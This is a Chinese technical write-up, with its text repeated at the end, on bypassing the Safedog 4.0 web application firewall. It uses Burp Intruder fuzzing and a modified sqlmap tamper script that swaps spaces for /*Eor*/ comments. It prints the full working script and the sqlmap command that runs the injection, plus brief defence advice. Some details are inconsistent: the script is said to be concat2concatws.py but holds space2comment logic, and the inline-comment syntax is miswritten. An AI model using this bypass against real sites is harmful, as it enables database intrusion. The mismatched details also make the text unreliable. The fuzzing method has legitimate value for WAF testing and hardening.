技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
字数 1265 2025-08-15 21:30:47

Fuzz绕过安全狗4.0实现SQL注入技术详解

0×00 技术背景

本文介绍了一种通过模糊测试(Fuzz)技术绕过安全狗4.0防护实现SQL注入的方法。该方法结合了Burp Suite的Intruder模块和修改后的sqlmap tamper脚本,成功绕过了WAF(Web应用防火墙)的防护机制。

0×01 SQL注入绕过WAF常用手法

在开始具体技术前,先了解常见的WAF绕过技术:

  1. 大小写绕过 - 混合使用大小写字母
  2. 注释符绕过 - 使用/**/等注释符号
  3. 大数据包绕过 - 发送超出WAF检测能力的大数据包
  4. 内联注释绕过 - 使用/!**/MySQL特有注释

0×02 实验环境搭建

  1. 测试平台:搭建一个有SQL注入漏洞的网站
  2. 防护系统:安装安全狗4.0版本
  3. 服务器环境:Apache + MySQL + PHP组合
  4. 工具准备:Burp Suite、sqlmap

0×03 基础测试与拦截分析

  1. 初始测试使用大小写混合加/**/注释被拦截
  2. 使用Burp Suite抓取注入点请求包
  3. 将请求放入Repeater模块进行初步修改:
    • 简化SQL语句结构
    • 保留最少必需的空格
    • 使用/**/注释符号替代空格

0×04 Fuzz测试过程详解

4.1 设置Intruder模块

  1. 将请求包放入Intruder模块
  2. 设置爆破点(Position)在注释符号位置
  3. 使用专门的SQL Fuzz字典(包含各种SQL语句变体)

4.2 Fuzz测试结果

  1. 发现/*Eor*/注释符可以绕过安全狗检测
  2. 手动测试时发现and/*Eor*/1=2会被拦截,但Fuzz时不拦截
  3. 这种差异可能与WAF的检测机制有关

0×05 sqlmap tamper脚本修改

5.1 修改concat2concatws.py脚本

路径:sqlmap/tamper/concat2concatws.py

修改内容:

#!/usr/bin/env python2
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'
    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0
    Notes:
        * Useful to bypass weak and bespoke web application firewalls
    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """
    retVal = payload
    
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False
        
        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/*Eor*/"
                    continue
            elif payload[i] == '\'':
                quote = not quote
            elif payload[i] == '"':
                doublequote = not doublequote
            elif payload[i] == ' ' and not doublequote and not quote:
                retVal += "/*Eor*/"
                continue
            
            retVal += payload[i]
    
    return retVal

关键修改点:

  1. 将默认的/**/注释替换为/*Eor*/
  2. 保留了原始脚本的逻辑结构

5.2 使用修改后的sqlmap执行注入

命令格式:

python2 sqlmap.py -r [请求文件] --tamper=space2comment

执行效果:

  1. 成功绕过安全狗4.0的防护
  2. 完成SQL注入攻击

0×06 技术原理分析

  1. WAF绕过机制:安全狗可能对特定注释符号的检测存在盲区
  2. Fuzz测试优势:自动化测试可以快速发现WAF的检测漏洞
  3. 手工与自动化差异:WAF可能对自动化工具和手工请求采用不同的检测策略

0×07 防御建议

  1. WAF规则更新:及时更新WAF规则库,加入对新发现的绕过手法的检测
  2. 输入验证:实施严格的输入验证机制
  3. 参数化查询:使用预处理语句和参数化查询
  4. 多层防护:采用多层次的防御策略,不只依赖WAF

0×08 总结

本文详细介绍了:

  1. 通过Fuzz测试发现安全狗4.0的绕过方法
  2. 修改sqlmap tamper脚本实现自动化绕过
  3. 实际绕过过程中的注意事项和技巧

这种技术不仅适用于安全狗,其方法论也可应用于其他WAF产品的测试。安全研究人员可通过类似方法持续发现和修复WAF产品的防护漏洞。

Fuzz绕过安全狗4.0实现SQL注入技术详解 0×00 技术背景 本文介绍了一种通过模糊测试(Fuzz)技术绕过安全狗4.0防护实现SQL注入的方法。该方法结合了Burp Suite的Intruder模块和修改后的sqlmap tamper脚本,成功绕过了WAF(Web应用防火墙)的防护机制。 0×01 SQL注入绕过WAF常用手法 在开始具体技术前,先了解常见的WAF绕过技术: 大小写绕过 - 混合使用大小写字母 注释符绕过 - 使用 /**/ 等注释符号 大数据包绕过 - 发送超出WAF检测能力的大数据包 内联注释绕过 - 使用 /!**/ MySQL特有注释 0×02 实验环境搭建 测试平台 :搭建一个有SQL注入漏洞的网站 防护系统 :安装安全狗4.0版本 服务器环境 :Apache + MySQL + PHP组合 工具准备 :Burp Suite、sqlmap 0×03 基础测试与拦截分析 初始测试使用大小写混合加 /**/ 注释被拦截 使用Burp Suite抓取注入点请求包 将请求放入Repeater模块进行初步修改: 简化SQL语句结构 保留最少必需的空格 使用 /**/ 注释符号替代空格 0×04 Fuzz测试过程详解 4.1 设置Intruder模块 将请求包放入Intruder模块 设置爆破点(Position)在注释符号位置 使用专门的SQL Fuzz字典(包含各种SQL语句变体) 4.2 Fuzz测试结果 发现 /*Eor*/ 注释符可以绕过安全狗检测 手动测试时发现 and/*Eor*/1=2 会被拦截,但Fuzz时不拦截 这种差异可能与WAF的检测机制有关 0×05 sqlmap tamper脚本修改 5.1 修改concat2concatws.py脚本 路径: sqlmap/tamper/concat2concatws.py 修改内容: 关键修改点: 将默认的 /**/ 注释替换为 /*Eor*/ 保留了原始脚本的逻辑结构 5.2 使用修改后的sqlmap执行注入 命令格式: 执行效果: 成功绕过安全狗4.0的防护 完成SQL注入攻击 0×06 技术原理分析 WAF绕过机制 :安全狗可能对特定注释符号的检测存在盲区 Fuzz测试优势 :自动化测试可以快速发现WAF的检测漏洞 手工与自动化差异 :WAF可能对自动化工具和手工请求采用不同的检测策略 0×07 防御建议 WAF规则更新 :及时更新WAF规则库,加入对新发现的绕过手法的检测 输入验证 :实施严格的输入验证机制 参数化查询 :使用预处理语句和参数化查询 多层防护 :采用多层次的防御策略,不只依赖WAF 0×08 总结 本文详细介绍了: 通过Fuzz测试发现安全狗4.0的绕过方法 修改sqlmap tamper脚本实现自动化绕过 实际绕过过程中的注意事项和技巧 这种技术不仅适用于安全狗,其方法论也可应用于其他WAF产品的测试。安全研究人员可通过类似方法持续发现和修复WAF产品的防护漏洞。